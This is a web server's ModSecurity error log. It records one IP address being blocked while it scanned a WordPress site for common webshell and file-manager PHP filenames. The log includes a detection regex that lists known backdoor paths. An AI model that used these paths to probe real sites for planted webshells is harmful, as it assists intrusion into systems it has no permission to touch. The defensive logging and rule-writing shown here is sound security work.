[Sun Dec 28 21:10:51.313671 2025] [:error] [pid 42378:tid 42382] [client 4.218.19.19:35514] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aVEsWzgtcN-KHAjWrX8r8wAAAMI"]
[Sun Dec 28 21:10:52.903932 2025] [:error] [pid 29437:tid 29482] [client 4.218.19.19:13765] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aVEsXBhDotAbVk6pZLfYTgAAAdA"]
[Sun Dec 28 21:10:54.108413 2025] [:error] [pid 42292:tid 42316] [client 4.218.19.19:22477] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aVEsXpyOrM_vaFx1osZbUAAAABQ"]
[Sun Dec 28 21:10:55.426508 2025] [:error] [pid 42294:tid 42354] [client 4.218.19.19:21594] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aVEsX9TE5kYcYCOzl9HOqQAAAIQ"]
[Sun Dec 28 21:11:04.899520 2025] [:error] [pid 43789:tid 43812] [client 4.218.19.19:1950] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aVEsaAa-tUppni4CcCZHEQAAARU"]
[Sun Dec 28 21:11:08.322266 2025] [:error] [pid 42294:tid 42356] [client 4.218.19.19:21587] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aVEsbNTE5kYcYCOzl9HOsAAAAIY"]
[Sun Dec 28 21:11:11.017772 2025] [:error] [pid 29388:tid 29418] [client 4.218.19.19:1299] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aVEsb9oLv2L2zI_SpdXzaAAAAVY"]
[Sun Dec 28 21:11:11.882278 2025] [:error] [pid 29436:tid 29443] [client 4.218.19.19:19521] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ftp.php"] [unique_id "aVEsb7chzOOtNL9VPNINWwAAAYQ"]
[Sun Dec 28 21:11:14.233037 2025] [:error] [pid 29436:tid 29446] [client 4.218.19.19:21855] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aVEscrchzOOtNL9VPNINYgAAAYc"]
[Sun Dec 28 21:11:15.853606 2025] [:error] [pid 29437:tid 29482] [client 4.218.19.19:21868] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aVEscxhDotAbVk6pZLfYYQAAAdA"]
[Sun Dec 28 21:11:22.690063 2025] [:error] [pid 43789:tid 43808] [client 4.218.19.19:35048] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aVEsega-tUppni4CcCZHHAAAARE"]
[Sun Dec 28 21:11:25.372683 2025] [:error] [pid 42378:tid 42389] [client 4.218.19.19:21852] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/content.php"] [unique_id "aVEsfTgtcN-KHAjWrX8sFgAAAMk"]
[Sun Dec 28 21:11:28.751433 2025] [:error] [pid 42293:tid 42343] [client 4.218.19.19:19818] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aVEsgMvc9B-5cwN385L97AAAAFQ"]
[Sun Dec 28 21:11:30.749785 2025] [:error] [pid 29437:tid 29484] [client 4.218.19.19:19799] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aVEsghhDotAbVk6pZLfYdwAAAdI"]
[Sun Dec 28 21:11:31.948591 2025] [:error] [pid 42294:tid 42372] [client 4.218.19.19:12908] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aVEsg9TE5kYcYCOzl9HOxgAAAJY"]
[Sun Dec 28 21:11:33.756313 2025] [:error] [pid 42378:tid 42390] [client 4.218.19.19:12920] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ext.php"] [unique_id "aVEshTgtcN-KHAjWrX8sIQAAAMo"]
[Sun Dec 28 21:11:34.662339 2025] [:error] [pid 42293:tid 42324] [client 4.218.19.19:21842] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aVEshsvc9B-5cwN385L9_QAAAEE"]
[Sun Dec 28 21:11:37.194822 2025] [:error] [pid 29436:tid 29458] [client 4.218.19.19:12911] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aVEsibchzOOtNL9VPNINlAAAAZM"]
[Sun Dec 28 21:11:40.484850 2025] [:error] [pid 29436:tid 29443] [client 4.218.19.19:22562] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aVEsjLchzOOtNL9VPNINswAAAYQ"]
[Sun Dec 28 21:11:42.258111 2025] [:error] [pid 42378:tid 42399] [client 4.218.19.19:1803] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/himu.php"] [unique_id "aVEsjjgtcN-KHAjWrX8sIwAAANM"]
[Sun Dec 28 21:11:48.120422 2025] [:error] [pid 29437:tid 29470] [client 4.218.19.19:33688] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aVEslBhDotAbVk6pZLfYlAAAAcQ"]
[Sun Dec 28 21:11:50.550284 2025] [:error] [pid 42378:tid 42403] [client 4.218.19.19:35036] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aVEsljgtcN-KHAjWrX8sLwAAANc"]
[Sun Dec 28 21:11:52.892962 2025] [:error] [pid 42378:tid 42401] [client 4.218.19.19:24498] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aVEsmDgtcN-KHAjWrX8sOAAAANU"]
[Sun Dec 28 21:11:54.647585 2025] [:error] [pid 42292:tid 42298] [client 4.218.19.19:1505] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wfile.php"] [unique_id "aVEsmpyOrM_vaFx1osZbxgAAAAI"]
[Sun Dec 28 21:12:00.360821 2025] [:error] [pid 29388:tid 29397] [client 4.218.19.19:1845] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aVEsoNoLv2L2zI_SpdXz2gAAAUE"]
[Sun Dec 28 21:12:02.768270 2025] [:error] [pid 29436:tid 29445] [client 4.218.19.19:14819] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aVEsorchzOOtNL9VPNIOHgAAAYY"]
[Sun Dec 28 21:12:03.597252 2025] [:error] [pid 29437:tid 29477] [client 4.218.19.19:20971] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aVEsoxhDotAbVk6pZLfYqwAAAcs"]
[Sun Dec 28 21:12:24.493470 2025] [:error] [pid 42378:tid 42380] [client 4.218.19.19:11451] [client 4.218.19.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aVEsuDgtcN-KHAjWrX8sgAAAAMA"]
[Sun Dec 28 21:12:28.872430 2025] [:error] [pid 29388:tid 29408] [client 4.218.19.19:24240] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aVEsvNoLv2L2zI_SpdX0DwAAAUw"]
[Sun Dec 28 21:12:29.974561 2025] [:error] [pid 29436:tid 29455] [client 4.218.19.19:19301] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aVEsvbchzOOtNL9VPNIOYwAAAZA"]
[Sun Dec 28 21:12:30.954736 2025] [:error] [pid 29388:tid 29411] [client 4.218.19.19:14797] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aVEsvtoLv2L2zI_SpdX0EAAAAU8"]
[Sun Dec 28 21:12:35.588986 2025] [:error] [pid 42293:tid 42345] [client 4.218.19.19:15915] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-wp.php"] [unique_id "aVEsw8vc9B-5cwN385L-gwAAAFY"]
[Sun Dec 28 21:12:35.978468 2025] [:error] [pid 42292:tid 42314] [client 4.218.19.19:11421] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEsw5yOrM_vaFx1osZb4wAAABI"]
[Sun Dec 28 21:12:37.517918 2025] [:error] [pid 43789:tid 43814] [client 4.218.19.19:22820] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEsxQa-tUppni4CcCZHxAAAARc"]
[Sun Dec 28 21:12:39.428779 2025] [:error] [pid 29388:tid 29417] [client 4.218.19.19:15887] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEsx9oLv2L2zI_SpdX0GgAAAVU"]
[Sun Dec 28 21:12:41.600145 2025] [:error] [pid 29436:tid 29446] [client 4.218.19.19:14794] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aVEsybchzOOtNL9VPNIOeQAAAYc"]
[Sun Dec 28 21:12:43.109122 2025] [:error] [pid 43789:tid 43792] [client 4.218.19.19:23575] [client 4.218.19.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aVEsywa-tUppni4CcCZHyAAAAQE"]
[Sun Dec 28 21:12:45.929332 2025] [:error] [pid 42292:tid 42297] [client 4.218.19.19:24252] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVEszZyOrM_vaFx1osZb7wAAAAE"]
[Sun Dec 28 21:12:46.942260 2025] [:error] [pid 42293:tid 42327] [client 4.218.19.19:2039] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVEszsvc9B-5cwN385L-jgAAAEQ"]
[Sun Dec 28 21:12:49.457596 2025] [:error] [pid 43789:tid 43794] [client 4.218.19.19:23587] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVEs0Qa-tUppni4CcCZHzQAAAQM"]
[Sun Dec 28 21:12:53.460374 2025] [:error] [pid 42292:tid 42298] [client 4.218.19.19:19271] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o2.php"] [unique_id "aVEs1ZyOrM_vaFx1osZb9gAAAAI"]
[Sun Dec 28 21:12:54.128321 2025] [:error] [pid 29437:tid 29467] [client 4.218.19.19:11448] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEs1hhDotAbVk6pZLfZHwAAAcE"]
[Sun Dec 28 21:12:55.430858 2025] [:error] [pid 42378:tid 42401] [client 4.218.19.19:11467] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEs1zgtcN-KHAjWrX8spgAAANU"]
[Sun Dec 28 21:13:01.209699 2025] [:error] [pid 42293:tid 42331] [client 4.218.19.19:15912] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEs3cvc9B-5cwN385L-owAAAEg"]
[Sun Dec 28 21:13:02.007912 2025] [:error] [pid 42292:tid 42307] [client 4.218.19.19:23602] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aVEs3pyOrM_vaFx1osZcDwAAAAs"]
[Sun Dec 28 21:13:05.032039 2025] [:error] [pid 29388:tid 29417] [client 4.218.19.19:14824] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aVEs4doLv2L2zI_SpdX0WAAAAVU"]
[Sun Dec 28 21:13:06.451710 2025] [:error] [pid 42294:tid 42367] [client 4.218.19.19:14795] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aVEs4tTE5kYcYCOzl9HPYwAAAJE"]
[Sun Dec 28 21:13:08.115237 2025] [:error] [pid 43789:tid 43803] [client 4.218.19.19:20948] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aVEs5Aa-tUppni4CcCZH3wAAAQw"]
[Sun Dec 28 21:13:10.839605 2025] [:error] [pid 29436:tid 29448] [client 4.218.19.19:11433] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "aVEs5rchzOOtNL9VPNIO5AAAAYk"]
[Sun Dec 28 21:13:14.401786 2025] [:error] [pid 42378:tid 42387] [client 4.218.19.19:15884] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aVEs6jgtcN-KHAjWrX8s7AAAAMc"]
[Sun Dec 28 21:13:17.057060 2025] [:error] [pid 42378:tid 42393] [client 4.218.19.19:11499] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aVEs7TgtcN-KHAjWrX8tAwAAAM0"]
[Sun Dec 28 21:13:18.249827 2025] [:error] [pid 29437:tid 29482] [client 4.218.19.19:2005] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aVEs7hhDotAbVk6pZLfZggAAAdA"]
[Sun Dec 28 21:13:20.249643 2025] [:error] [pid 29437:tid 29490] [client 4.218.19.19:11512] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aVEs8BhDotAbVk6pZLfZhQAAAdg"]
[Sun Dec 28 21:13:22.233563 2025] [:error] [pid 42294:tid 42353] [client 4.218.19.19:20985] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEs8tTE5kYcYCOzl9HPhwAAAIM"]
[Sun Dec 28 21:13:24.594840 2025] [:error] [pid 29437:tid 29477] [client 4.218.19.19:11509] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aVEs9BhDotAbVk6pZLfZiwAAAcs"]
